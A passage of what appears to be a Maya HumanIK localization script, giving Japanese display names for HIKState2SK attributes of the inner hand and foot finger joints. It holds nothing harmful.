+setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerRy", "左手内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerRz", "左手内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerS", "左手内側の追加指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSx", "左手内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSy", "左手内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSz", "左手内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPGX", "左手内側の追加指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerROrder", "左手内側,追加指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerSC", "左手内側の追加指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerIS", "左手内側の追加指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerISx", "左手内側の追加指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerISy", "左手内側の追加指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerISz", "左手内側の追加指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreR", "左手内側の追加指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreRx", "左手内側の追加指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreRy", "左手内側の追加指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPreRz", "左手内側の追加指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostR", "左手内側の追加指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostRx", "左手内側の追加指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostRy", "左手内側の追加指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInHandExtraFingerPostRz", "左手内側の追加指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbT", "右手内側の親指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbTx", "右手内側の親指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbTy", "右手内側の親指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbTz", "右手内側の親指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbR", "右手内側の親指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbRx", "右手内側の親指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbRy", "右手内側の親指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbRz", "右手内側の親指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbS", "右手内側の親指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSx", "右手内側の親指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSy", "右手内側の親指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSz", "右手内側の親指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPGX", "右手内側の親指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbROrder", "右手内側,親指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbSC", "右手内側の親指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbIS", "右手内側の親指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbISx", "右手内側の親指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbISy", "右手内側の親指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbISz", "右手内側の親指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreR", "右手内側の親指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreRx", "右手内側の親指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreRy", "右手内側の親指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPreRz", "右手内側の親指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostR", "右手内側の親指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostRx", "右手内側の親指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostRy", "右手内側の親指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandThumbPostRz", "右手内側の親指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexT", "右手内側の人差指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexTx", "右手内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexTy", "右手内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexTz", "右手内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexR", "右手内側の人差指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexRx", "右手内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexRy", "右手内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexRz", "右手内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexS", "右手内側の人差指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSx", "右手内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSy", "右手内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSz", "右手内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPGX", "右手内側の人差指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexROrder", "右手内側,人差指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexSC", "右手内側の人差指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexIS", "右手内側の人差指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexISx", "右手内側の人差指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexISy", "右手内側の人差指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexISz", "右手内側の人差指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreR", "右手内側の人差指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreRx", "右手内側の人差指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreRy", "右手内側の人差指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPreRz", "右手内側の人差指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostR", "右手内側の人差指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostRx", "右手内側の人差指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostRy", "右手内側の人差指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandIndexPostRz", "右手内側の人差指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleT", "右手内側の中指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleTx", "右手内側の中指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleTy", "右手内側の中指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleTz", "右手内側の中指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleR", "右手内側の中指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleRx", "右手内側の中指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleRy", "右手内側の中指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleRz", "右手内側の中指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleS", "右手内側の中指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSx", "右手内側の中指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSy", "右手内側の中指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSz", "右手内側の中指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePGX", "右手内側の中指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleROrder", "右手内側,中指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleSC", "右手内側の中指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleIS", "右手内側の中指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleISx", "右手内側の中指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleISy", "右手内側の中指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddleISz", "右手内側の中指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreR", "右手内側の中指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreRx", "右手内側の中指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreRy", "右手内側の中指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePreRz", "右手内側の中指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostR", "右手内側の中指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostRx", "右手内側の中指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostRy", "右手内側の中指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandMiddlePostRz", "右手内側の中指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingT", "右手内側の薬指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingTx", "右手内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingTy", "右手内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingTz", "右手内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingR", "右手内側の薬指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingRx", "右手内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingRy", "右手内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingRz", "右手内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingS", "右手内側の薬指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSx", "右手内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSy", "右手内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSz", "右手内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPGX", "右手内側の薬指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingROrder", "右手内側,薬指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingSC", "右手内側の薬指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingIS", "右手内側の薬指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingISx", "右手内側の薬指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingISy", "右手内側の薬指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingISz", "右手内側の薬指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreR", "右手内側の薬指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreRx", "右手内側の薬指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreRy", "右手内側の薬指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPreRz", "右手内側の薬指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostR", "右手内側の薬指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostRx", "右手内側の薬指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostRy", "右手内側の薬指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandRingPostRz", "右手内側の薬指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyT", "右手内側の小指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyTx", "右手内側の小指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyTy", "右手内側の小指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyTz", "右手内側の小指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyR", "右手内側の小指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyRx", "右手内側の小指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyRy", "右手内側の小指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyRz", "右手内側の小指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyS", "右手内側の小指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySx", "右手内側の小指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySy", "右手内側の小指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySz", "右手内側の小指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPGX", "右手内側の小指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyROrder", "右手内側,小指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkySC", "右手内側の小指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyIS", "右手内側の小指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyISx", "右手内側の小指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyISy", "右手内側の小指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyISz", "右手内側の小指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreR", "右手内側の小指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreRx", "右手内側の小指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreRy", "右手内側の小指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPreRz", "右手内側の小指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostR", "右手内側の小指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostRx", "右手内側の小指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostRy", "右手内側の小指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandPinkyPostRz", "右手内側の小指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerT", "右手内側の追加指 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerTx", "右手内側の追加指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerTy", "右手内側の追加指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerTz", "右手内側の追加指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerR", "右手内側の追加指 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerRx", "右手内側の追加指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerRy", "右手内側の追加指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerRz", "右手内側の追加指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerS", "右手内側の追加指 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSx", "右手内側の追加指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSy", "右手内側の追加指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSz", "右手内側の追加指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPGX", "右手内側の追加指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerROrder", "右手内側,追加指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerSC", "右手内側の追加指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerIS", "右手内側の追加指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerISx", "右手内側の追加指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerISy", "右手内側の追加指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerISz", "右手内側の追加指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreR", "右手内側の追加指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreRx", "右手内側の追加指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreRy", "右手内側の追加指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPreRz", "右手内側の追加指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostR", "右手内側の追加指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostRx", "右手内側の追加指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostRy", "右手内側の追加指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInHandExtraFingerPostRz", "右手内側の追加指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbT", "左足内側の親指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbTx", "左足内側の親指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbTy", "左足内側の親指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbTz", "左足内側の親指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbR", "左足内側の親指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbRx", "左足内側の親指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbRy", "左足内側の親指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbRz", "左足内側の親指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbS", "左足内側の親指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSx", "左足内側の親指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSy", "左足内側の親指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSz", "左足内側の親指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPGX", "左足内側の親指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbROrder", "左足内側,親指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSC", "左足内側の親指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbIS", "左足内側の親指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbISx", "左足内側の親指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbISy", "左足内側の親指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbISz", "左足内側の親指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreR", "左足内側の親指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreRx", "左足内側の親指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreRy", "左足内側の親指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreRz", "左足内側の親指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostR", "左足内側の親指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostRx", "左足内側の親指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostRy", "左足内側の親指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostRz", "左足内側の親指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexT", "左足内側の人差指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexTx", "左足内側の人差指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexTy", "左足内側の人差指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexTz", "左足内側の人差指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexR", "左足内側の人差指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexRx", "左足内側の人差指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexRy", "左足内側の人差指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexRz", "左足内側の人差指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexS", "左足内側の人差指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSx", "左足内側の人差指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSy", "左足内側の人差指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSz", "左足内側の人差指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPGX", "左足内側の人差指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexROrder", "左足内側,人差指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSC", "左足内側の人差指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexIS", "左足内側の人差指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexISx", "左足内側の人差指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexISy", "左足内側の人差指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexISz", "左足内側の人差指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreR", "左足内側の人差指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreRx", "左足内側の人差指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreRy", "左足内側の人差指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreRz", "左足内側の人差指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostR", "左足内側の人差指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostRx", "左足内側の人差指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostRy", "左足内側の人差指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostRz", "左足内側の人差指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleT", "左足内側の中指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleTx", "左足内側の中指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleTy", "左足内側の中指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleTz", "左足内側の中指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleR", "左足内側の中指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleRx", "左足内側の中指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleRy", "左足内側の中指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleRz", "左足内側の中指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleS", "左足内側の中指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSx", "左足内側の中指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSy", "左足内側の中指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSz", "左足内側の中指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePGX", "左足内側の中指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleROrder", "左足内側,中指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSC", "左足内側の中指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleIS", "左足内側の中指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleISx", "左足内側の中指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleISy", "左足内側の中指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleISz", "左足内側の中指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreR", "左足内側の中指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreRx", "左足内側の中指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreRy", "左足内側の中指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreRz", "左足内側の中指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostR", "左足内側の中指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostRx", "左足内側の中指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostRy", "左足内側の中指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostRz", "左足内側の中指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingT", "左足内側の薬指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingTx", "左足内側の薬指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingTy", "左足内側の薬指 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingTz", "左足内側の薬指 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingR", "左足内側の薬指 R" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingRx", "左足内側の薬指 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingRy", "左足内側の薬指 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingRz", "左足内側の薬指 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingS", "左足内側の薬指 S" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSx", "左足内側の薬指 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSy", "左足内側の薬指 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSz", "左足内側の薬指 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPGX", "左足内側の薬指の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingROrder", "左足内側,薬指,回転順" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSC", "左足内側の薬指 SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingIS", "左足内側の薬指 IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingISx", "左足内側の薬指 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingISy", "左足内側の薬指 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingISz", "左足内側の薬指 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreR", "左足内側の薬指のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreRx", "左足内側の薬指のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreRy", "左足内側の薬指のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreRz", "左足内側の薬指のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostR", "左足内側の薬指のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostRx", "左足内側の薬指のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostRy", "左足内側の薬指のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostRz", "左足内側の薬指のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyT", "左足内側の小指 T" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyTx", "左足内側の小指 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyTy", "左足内側の小指 Ty" ); 